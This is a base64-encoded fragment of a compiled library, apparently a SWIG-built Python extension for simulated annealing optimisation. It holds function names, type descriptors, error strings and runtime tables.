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
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgcgIQAAAAACxyAhAAAAAA
AAAAAEByAhAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATHICEAAA
AABkcgIQAAAAAAAAAACAcgIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAJhyAhAAAAAApHICEAAAAAAAAAAAsHICEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAC8cgIQAAAAAMhyAhAAAAAAAAAAANByAhAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3HICEAAAAADocgIQAAAAAAAAAAD4cgIQAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACGYCEEhmAhCIZgIQyGYCEAhnAhBIZwIQ
iGcCEMhnAhAIaAIQAAAAAHN3aWd2YXJsaW5rAG5ld19zaW1hbm5lYWxfdmFybGlzdAAAAGRl
bGV0ZV9zaW1hbm5lYWxfdmFybGlzdAAAAABzaW1hbm5lYWxfdmFybGlzdF9jbGVhbnkAAAAA
c2ltYW5uZWFsX3Zhcmxpc3RfY2xlYW4Ac2ltYW5uZWFsX3Zhcmxpc3RfcHQyeG4Ac2ltYW5u
ZWFsX3Zhcmxpc3Rfdmxfc2V0AAAAAHNpbWFubmVhbF92YXJsaXN0X3ZsX2dldAAAAABzaW1h
bm5lYWxfdmFybGlzdF9uZXh0X3NldAAAc2ltYW5uZWFsX3Zhcmxpc3RfbmV4dF9nZXQAAG5l
d19zaW11bGF0ZWRfYW5uZWFsaW5nAG5ld19zaW11bGF0ZWRfYW5uZWFsaW5nXzZhcmdzAAAA
ZGVsZXRlX3NpbXVsYXRlZF9hbm5lYWxpbmcAAHNpbXVsYXRlZF9hbm5lYWxpbmdfdmxfc2V0
AABzaW11bGF0ZWRfYW5uZWFsaW5nX3ZsX2dldAAAc2ltdWxhdGVkX2FubmVhbGluZ19zdmxf
c2V0AHNpbXVsYXRlZF9hbm5lYWxpbmdfc3ZsX2dldABzaW11bGF0ZWRfYW5uZWFsaW5nX3Rl
eHRfc2V0AAAAAHNpbXVsYXRlZF9hbm5lYWxpbmdfdGV4dF9nZXQAAAAAc2ltdWxhdGVkX2Fu
bmVhbGluZ19zdWNjZXNzX3NldABzaW11bGF0ZWRfYW5uZWFsaW5nX3N1Y2Nlc3NfZ2V0AHNp
bXVsYXRlZF9hbm5lYWxpbmdfdGNfbWF4X3NldAAAc2ltdWxhdGVkX2FubmVhbGluZ190Y19t
YXhfZ2V0AABzaW11bGF0ZWRfYW5uZWFsaW5nX3RfZmFjdG9yX3NldAAAAABzaW11bGF0ZWRf
YW5uZWFsaW5nX3RfZmFjdG9yX2dldAAAAABzaW11bGF0ZWRfYW5uZWFsaW5nX2NhbGxfc2V0
AAAAAHNpbXVsYXRlZF9hbm5lYWxpbmdfY2FsbF9nZXQAAAAAc2ltdWxhdGVkX2FubmVhbGlu
Z19idWlsZF92YXJsaXN0AAAAc2ltdWxhdGVkX2FubmVhbGluZ19vcHRpbWl6ZQAAAABzaW11
bGF0ZWRfYW5uZWFsaW5nX3Zhcnlfc2ltdmFybGlzdABzaW11bGF0ZWRfYW5uZWFsaW5nX3Rh
a2VfbmV3X3Jlc3VsdAB4X25vd18yX3hfb3B0AAAAY2FsY180YXJncwAAY2FsY3VsYXRlAAAA
bmV3X2V2YWx1YXRlAAAAAGRlbGV0ZV9ldmFsdWF0ZQBldmFsdWF0ZV9jcml0ZXJpYV9zZXQA
AABldmFsdWF0ZV9jcml0ZXJpYV9nZXQAAABldmFsdWF0ZV9nb2FsX3NldAAAAGV2YWx1YXRl
X2dvYWxfZ2V0AAAAZXZhbHVhdGVfZXBzaWxvbl9zZXQAAAAAZXZhbHVhdGVfZXBzaWxvbl9n
ZXQAAAAAZXZhbHVhdGVfbWluY2hhbmdlX3NldAAAZXZhbHVhdGVfbWluY2hhbmdlX2dldAAA
ZXZhbHVhdGVfbl9zZXQAAGV2YWx1YXRlX25fZ2V0AABldmFsdWF0ZV9hYm9ydAAAc3RyaW5n
X3NpemVfc2V0AHN0cmluZ19zaXplX2dldABzdHJpbmdfbGFiZWxfc2V0AAAAAHN0cmluZ19s
YWJlbF9nZXQAAAAAbmV3X3N0cmluZwAAbmV3X3N0cmluZ19pbnRfY2hhcgBuZXdfc3RyaW5n
X2NoYXJfY2hhcgAAAABuZXdfc3RyaW5nX3N0cmluZ19jaGFyAABkZWxldGVfc3RyaW5nAAAA
c3RyaW5nX2NsZWFuAAAAAHN0cmluZ19jYXRfc3RyaW5nAAAAc3RyaW5nX2NhdAAAc3RyaW5n
X2NvcHlfc3RyaW5nAABzdHJpbmdfY29weV9jaGFyAAAAAHN0cmluZ19jb3B5X2RsAABzdHJp
bmdfY29weV9pAAAAc3RyaW5nX2NvcHkAc3RyaW5nX291dAAAc3RyaW5nX25jb3B5X3N0cmlu
Z19pAAAAc3RyaW5nX25jb3B5AAAAAHN0cmluZ19jb21wb3NlX3N0cl9zdHJfY2hhcgBzdHJp
bmdfY29tcG9zZV9zdHJfY2hhcl9jaGFyAAAAAHN0cmluZ19jb21wb3NlX3N0cl9kX2NoYXIA
AABzdHJpbmdfY29tcG9zZQAAc3RyaW5nX2VsZW1lbnQAAHN0cmluZ19jb21wb3NlX3N0cnVj
dF9zdHJpbmcAAAAAc3RyaW5nX2NvbXBhcmUAAHN0cmluZ19zdHJjb21wc3Bhbl9jaGFyaQAA
AABzdHJpbmdfc3RyY29tcHNwYW5fc3RydWN0X3N0cmluZ2kAAABzdHJpbmdfc3RyaW5nX2Nv
bXBsZW1lbnRfc3BhbgAAAHN0cmluZ19zdHJpbmdzcGFuX3N0cnVjdF9zdHJpbmdpAAAAAHN0
cmluZ19zdHJpbmdfc3BhbgAAc3RyaW5nX3N0cmluZ3N0cmluZ19zdHJ1Y3Rfc3RyaW5nX2No
YXIAAHN0cmluZ19zdHJpbmdzdHJpbmdfc3RydWN0c3RyaW5nX3N0cnVjdHN0cmluZwAAAHN0
cmluZ19zdHJpbmdfc3RyaW5nAAAAAHN0cmluZ19zdHJpbmdfY2hhcmFjdGVyAHN0cmluZ19z
dHJpbmdfcG9pbnRlcl9icmVhawBzdHJpbmdfZmlsZW9wZW4Ac3RyaW5nX2ZpbGVyZWFkAHN0
cmluZ19maWxlcmVhZGMAAAAAc3RyaW5nX2ZpbGV3cml0ZV9zdHJpbmdfY2hhcgAAAABzdHJp
bmdfZmlsZXdyaXRlAAAAAHN0cmluZ19zeXN0ZW1fY2FsbAAAc3RyaW5nX2luaXQAcHJpbnQA
AABzdHJwcmludF9zdHJ1Y3RzdHJpbmdfY2hhcl9jaGFyAHN0cnByaW50X3N0cnVjdHN0cmlu
Z19pbnRfY2hhcl9jaGFyAHN0cnByaW50AAAAAF9wX3ZhcmlhYmxlbGlzdABzdHJ1Y3QgdmFy
aWFibGVsaXN0ICoAAABfcF92YXJpYWJsZWxpc3QAX3Bfc2ltdWxhdGVkX2FubmVhbGluZwAA
c2ltdWxhdGVkX2FubmVhbGluZyAqAAAAX3Bfc2ltdWxhdGVkX2FubmVhbGluZwAAX3BfYmFz
aXNmaWxlAAAAAHN0cnVjdCBiYXNpc2ZpbGUgKgAAX3BfYmFzaXNmaWxlAAAAAF9wX0ZJTEUA
RklMRSAqAABfcF9GSUxFAF9wX3ZhcmlhYmxlAHN0cnVjdCB2YXJpYWJsZSAqAAAAX3BfdmFy
aWFibGUAX3Bfc2ltYW5uZWFsX3Zhcmxpc3QAAAAAc3RydWN0IHNpbWFubmVhbF92YXJsaXN0
ICoAAF9wX3NpbWFubmVhbF92YXJsaXN0AAAAAF9wX2V2YWx1YXRlAGV2YWx1YXRlICoAAF9w
X2V2YWx1YXRlAF9wX3BfY2hhcgAAAGNoYXIgKioAX3BfcF9jaGFyAAAAX3Bfc3RyaW5nAAAA
c3RydWN0IHN0cmluZyAqAF9wX3N0cmluZwAAADxHbG9iYWwgdmFyaWFibGVzPgAAR2xvYmFs
IHZhcmlhYmxlcyB7IAAlcwAALCAAACB9CgBVbmtub3duIEMgZ2xvYmFsIHZhcmlhYmxlAAAA
VW5rbm93biBDIGdsb2JhbCB2YXJpYWJsZQAAADpuZXdfc2ltYW5uZWFsX3Zhcmxpc3QAAE86
ZGVsZXRlX3NpbWFubmVhbF92YXJsaXN0AAB0aGlzAAAAAE5VTEwAAAAAVHlwZSBlcnJvci4g
RXhwZWN0ZWQgJXMARXhwZWN0ZWQgYSBwb2ludGVyAABPOnNpbWFubmVhbF92YXJsaXN0X2Ns
ZWFueQAAT086c2ltYW5uZWFsX3Zhcmxpc3RfY2xlYW4AAE86c2ltYW5uZWFsX3Zhcmxpc3Rf
cHQyeG4AAABPTzpzaW1hbm5lYWxfdmFybGlzdF92bF9zZXQATzpzaW1hbm5lYWxfdmFybGlz
dF92bF9nZXQAAE9POnNpbWFubmVhbF92YXJsaXN0X25leHRfc2V0AAAATzpzaW1hbm5lYWxf
dmFybGlzdF9uZXh0X2dldAAAAAA6bmV3X3NpbXVsYXRlZF9hbm5lYWxpbmcAAAAAT09PaWRP
Om5ld19zaW11bGF0ZWRfYW5uZWFsaW5nXzZhcmdzAAAAAE86ZGVsZXRlX3NpbXVsYXRlZF9h
bm5lYWxpbmcAAAAAT086c2ltdWxhdGVkX2FubmVhbGluZ192bF9zZXQAAABPOnNpbXVsYXRl
ZF9hbm5lYWxpbmdfdmxfZ2V0AAAAAE9POnNpbXVsYXRlZF9hbm5lYWxpbmdfc3ZsX3NldAAA
TzpzaW11bGF0ZWRfYW5uZWFsaW5nX3N2bF9nZXQAAABPTzpzaW11bGF0ZWRfYW5uZWFsaW5n
X3RleHRfc2V0AE86c2ltdWxhdGVkX2FubmVhbGluZ190ZXh0X2dldAAAT086c2ltdWxhdGVk
X2FubmVhbGluZ19zdWNjZXNzX3NldAAATzpzaW11bGF0ZWRfYW5uZWFsaW5nX3N1Y2Nlc3Nf
Z2V0AAAAT2k6c2ltdWxhdGVkX2FubmVhbGluZ190Y19tYXhfc2V0AAAATzpzaW11bGF0ZWRf
YW5uZWFsaW5nX3RjX21heF9nZXQAAAAAT2Q6c2ltdWxhdGVkX2FubmVhbGluZ190X2ZhY3Rv
cl9zZXQATzpzaW11bGF0ZWRfYW5uZWFsaW5nX3RfZmFjdG9yX2dldAAAT086c2ltdWxhdGVk
X2FubmVhbGluZ19jYWxsX3NldABPOnNpbXVsYXRlZF9hbm5lYWxpbmdfY2FsbF9nZXQAAE86
c2ltdWxhdGVkX2FubmVhbGluZ19idWlsZF92YXJsaXN0AE86c2ltdWxhdGVkX2FubmVhbGlu
Z19vcHRpbWl6ZQAATzpzaW11bGF0ZWRfYW5uZWFsaW5nX3Zhcnlfc2ltdmFybGlzdAAAAE9P
T2Q6c2ltdWxhdGVkX2FubmVhbGluZ190YWtlX25ld19yZXN1bHQAAAAATzp4X25vd18yX3hf
b3B0AE9PT086Y2FsY180YXJncwBPT086Y2FsY3VsYXRlAAAAOm5ld19ldmFsdWF0ZQAAAE86
ZGVsZXRlX2V2YWx1YXRlAAAAT2M6ZXZhbHVhdGVfY3JpdGVyaWFfc2V0AAAAAE86ZXZhbHVh
dGVfY3JpdGVyaWFfZ2V0AGMAAABPTzpldmFsdWF0ZV9nb2FsX3NldAAAAABPOmV2YWx1YXRl
X2dvYWxfZ2V0AE9POmV2YWx1YXRlX2Vwc2lsb25fc2V0AE86ZXZhbHVhdGVfZXBzaWxvbl9n
ZXQAAE9POmV2YWx1YXRlX21pbmNoYW5nZV9zZXQAAABPOmV2YWx1YXRlX21pbmNoYW5nZV9n
ZXQAAAAAT2k6ZXZhbHVhdGVfbl9zZXQAAABPOmV2YWx1YXRlX25fZ2V0AAAAAE9POmV2YWx1
YXRlX2Fib3J0AAAAT2k6c3RyaW5nX3NpemVfc2V0AABPOnN0cmluZ19zaXplX2dldAAAAE9z
OnN0cmluZ19sYWJlbF9zZXQATzpzdHJpbmdfbGFiZWxfZ2V0AAA6bmV3X3N0cmluZwBpfHM6
bmV3X3N0cmluZ19pbnRfY2hhcgBzfHM6bmV3X3N0cmluZ19jaGFyX2NoYXIAAAAAT3xzOm5l
d19zdHJpbmdfc3RyaW5nX2NoYXIAAE86ZGVsZXRlX3N0cmluZwBPOnN0cmluZ19jbGVhbgAA
T086c3RyaW5nX2NhdF9zdHJpbmcAAAAAT3M6c3RyaW5nX2NhdAAAAE9POnN0cmluZ19jb3B5
X3N0cmluZwAAAE9zOnN0cmluZ19jb3B5X2NoYXIAT2RsOnN0cmluZ19jb3B5X2RsAABPaTpz
dHJpbmdfY29weV9pAAAAAE9POnN0cmluZ19jb3B5AABPTzpzdHJpbmdfb3V0AAAAT09pOnN0
cmluZ19uY29weV9zdHJpbmdfaQAAAE9PaWk6c3RyaW5nX25jb3B5AAAAT09PczpzdHJpbmdf
Y29tcG9zZV9zdHJfc3RyX2NoYXIAAAAAT09zczpzdHJpbmdfY29tcG9zZV9zdHJfY2hhcl9j
aGFyAAAAT09kczpzdHJpbmdfY29tcG9zZV9zdHJfZF9jaGFyAABPT2lzOnN0cmluZ19jb21w
b3NlAE9pOnN0cmluZ19lbGVtZW50AAAAT086c3RyaW5nX2NvbXBvc2Vfc3RydWN0X3N0cmlu
ZwBPczpzdHJpbmdfY29tcGFyZQAAAE9zaTpzdHJpbmdfc3RyY29tcHNwYW5fY2hhcmkAAAAA
T09pOnN0cmluZ19zdHJjb21wc3Bhbl9zdHJ1Y3Rfc3RyaW5naQAAAE9zOnN0cmluZ19zdHJp
bmdfY29tcGxlbWVudF9zcGFuAAAAAE9PaTpzdHJpbmdfc3RyaW5nc3Bhbl9zdHJ1Y3Rfc3Ry
aW5naQAAAABPc2k6c3RyaW5nX3N0cmluZ19zcGFuAABPT3M6c3RyaW5nX3N0cmluZ3N0cmlu
Z19zdHJ1Y3Rfc3RyaW5nX2NoYXIAAE9PTzpzdHJpbmdfc3RyaW5nc3RyaW5nX3N0cnVjdHN0
cmluZ19zdHJ1Y3RzdHJpbmcAAABPT09pOnN0cmluZ19zdHJpbmdfc3RyaW5nAAAAT2M6c3Ry
aW5nX3N0cmluZ19jaGFyYWN0ZXIAAE9PczpzdHJpbmdfc3RyaW5nX3BvaW50ZXJfYnJlYWsA
T3M6c3RyaW5nX2ZpbGVvcGVuAABPTzpzdHJpbmdfZmlsZXJlYWQAAE9PYzpzdHJpbmdfZmls
ZXJlYWRjAAAAAE9PczpzdHJpbmdfZmlsZXdyaXRlX3N0cmluZ19jaGFyAAAAAE9POnN0cmlu
Z19maWxld3JpdGUATzpzdHJpbmdfc3lzdGVtX2NhbGwAAAAAT2l8czpzdHJpbmdfaW5pdAAA
AABPOnByaW50AE98c3M6c3RycHJpbnRfc3RydWN0c3RyaW5nX2NoYXJfY2hhcgAAAABPaXxz
czpzdHJwcmludF9zdHJ1Y3RzdHJpbmdfaW50X2NoYXJfY2hhcgAAAE9pY3xzczpzdHJwcmlu
dABzaW1hbm5lYWxmaWxlAAAAJnZhcmlhYmxlOjpvcGVyYXRvcj0gKHN0cnVjdCB2YXJpYWJs
ZSAmdik6CiAAAAAAVW5rbm93biB0eXBlIGAlYycuCgAlbGYAdmFyaWFibGU6OmNvcHkgKHN0
cnVjdCBzdHJpbmcgJnMpOgogAAAAAEVycm9yIHdoaWxlIHJlYWRpbmcgZG91YmxlIHZhbHVl
IGluIGZyb20gc3RyaW5nOgogAAAnCgAAYAAAACVkAAB2YXJpYWJsZTo6Y29weSAoc3RydWN0
IHN0cmluZyAmcyk6CiAAAAAARXJyb3Igd2hpbGUgcmVhZGluZyBpbnRlZ2VyIHZhbHVlIGlu
IGZyb20gc3RyaW5nOgogACcKAABgAAAAdmFyaWFibGU6OmNvcHkgKHN0cnVjdCBzdHJpbmcg
JnMpOgogAAAAAFVua25vd24gdHlwZSBvZiB2YXJpYWJsZSBgJWMnLgoAdmFyaWFibGVsaXN0
OjpwdDJ4biAoaW50IG4pOgogAABFcnJvciB3aGlsZSBjb3B5aW5nIHBhcmFtZXRlcl90ZXh0
IHRvIHhfbm93LgoAAAByZWFkX2RvdWJsZToKAAAAIHZhcmlhYmxlIGNvbnRhaW5zIGAlYyct
dmFsdWUgaW5zdGVhZCBvZiBkb3VibGUgKGBkJykuCgByYW5kb21fc3RlcDoKIEVycm9yIHdo
aWxlIHJlYWRpbmcgcG9pbnQuCgAAAHJhbmRvbV9zdGVwOgogRXJyb3Igd2hpbGUgcmVhZGlu
ZyBpbnRlcnZhbGwuCgAAAHJhbmRvbV9zdGVwOgogU3RlcHBpbmcgd2l0aCBpbnRlZ2VycyBp
c24ndCBpbXBsZW1lbnRlZCB5ZXQuCgAAAAByYW5kb21fc3RlcDoKIFN0ZXBwaW5nIHdpdGgg
c3RyaW5ncyBpc24ndCBpbXBsZW1lbnRlZCB5ZXQuCgByYW5kb21fc3RlcDoKIFVua25vd24g
dHlwZSBvZiBwb2ludCBgJWMnLgoAAHNtYWxsZXI6CiBFcnJvciB3aGlsZSByZWFkaW5nIHYy
LgoAAHNtYWxsZXI6CiBDb21wYXJpc29uIHdpdGggaW50ZWdlcnMgaXNuJ3QgaW1wbGVtZW50
ZWQgeWV0LgoAAHNtYWxsZXI6CiBDb21wYXJpc29uIHdpdGggc3RyaW5ncyBpc24ndCBpbXBs
ZW1lbnRlZCB5ZXQuCgAAAHNtYWxsZXI6CiBVbmtub3duIHR5cGUgb2YgdjEgYCVjJy4KAGdy
ZWF0ZXI6CiBFcnJvciB3aGlsZSByZWFkaW5nIHYyLgoAAGdyZWF0ZXI6CiBDb21wYXJpc29u
IHdpdGggaW50ZWdlcnMgaXNuJ3QgaW1wbGVtZW50ZWQgeWV0LgoAAGdyZWF0ZXI6CiBDb21w
YXJpc29uIHdpdGggc3RyaW5ncyBpc24ndCBpbXBsZW1lbnRlZCB5ZXQuCgAAAGdyZWF0ZXI6
CiBVbmtub3duIHR5cGUgb2YgdjEgYCVjJy4KACAFkxkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AABsb2cxMAAAAHWYAABzmAAA8LUAECC2ABAgtgAQAAAAAAEAAAABAAAA//////3dzQDsIwIQ
5CMCEOAjAhDYIwIQ0CMCEKCyABBgcQEQAAAAAP////9Q6QAQ/////wIAAAAEAAAABAAAAP//
//////////////QqAhDsKgIQ2CoCEAAAAABQlgIQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAICWAhAAAAAAAAAAAAAAAACYlgIQAAAAAAAAAAAAAAAAaJYCEAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACd
AhAAAAAAAJ0CEAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACsLQIQnC0CECAJ
LQ1dAAAAXQAAAAAAAAAAAAAAAAAAAAAAAAAAAACA/38AAAAAAAAAgP//3KfXuYVmcbENQAAA
AAAAAP//DUD3NkMMmBn2lf0/AAAAAAAA4D8DZXhwAAAAAAAAAAAAARQAYSYBEG0pARByKQEQ
oScBEAAAAAAAAAAAAAAAAADA//81wmghotoPyf8/AAAAAAAA8D8IBAgICAQICAAEDAgABAwI
AAAAACC2ARAgtgEQILYBECC2ARAgtgEQILYBEAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQA
AAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAA
CwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIA
AAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAA
DQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYA
AAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAA
ngAAAA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsA
AAAYBwAADAAAAGgvAhBgLwIQWC8CEFAvAhBgQgEQEAAAAPgDAABmiAIQZogCEAAAIAAgACAA
IAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAA
IAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQA
hAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEA
AQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIA
AgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAAAAAAAD/////AAoAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAEAyAhAIAAAAFDICEAkAAADoMQIQCgAAAMQx
AhAQAAAAmDECEBEAAABoMQIQEgAAAEQxAhATAAAAGDECEBgAAADgMAIQGQAAALgwAhAaAAAA
gDACEBsAAABIMAIQHAAAACAwAhB4AAAAEDACEHkAAAAAMAIQegAAAPAvAhD8AAAA7C8CEP8A
AADcLwIQBQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAAjQAAwAgAAAAAAAAA
jgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAAAAAAkgAAwAgA
AAAAAAAAkwAAwAgAAAAAAAAAAwAAAAcAAAB4AAAACgAAAAAAAAAAAAAAAAEAAAQAAAcAAAoA
AA0AAAAAcD8AAIg/AAAAXwABAAAEAAAHAAAKAAANAAAAAAAAAADuPwAAAAAAAPBDAAAAAAAA
8DsAAAAAAADwPwAAAAAAAOA/AAAAAAAA///+f0SZARBKmQEQT5kBEFWZARBamQEQYJkBEGaZ
ARBsmQEQcpkBEI6ZARCTmQEQqZkBEK6ZARDKmQEQ2pkBEO6ZARD+mQEQHpoBECOaARA9mgEQ
QpoBEGKaARB2mgEQjpoBEKKaARDCmgEQx5oBEOGaARDmmgEQBpsBEBqbARAymwEQRpsBEGab
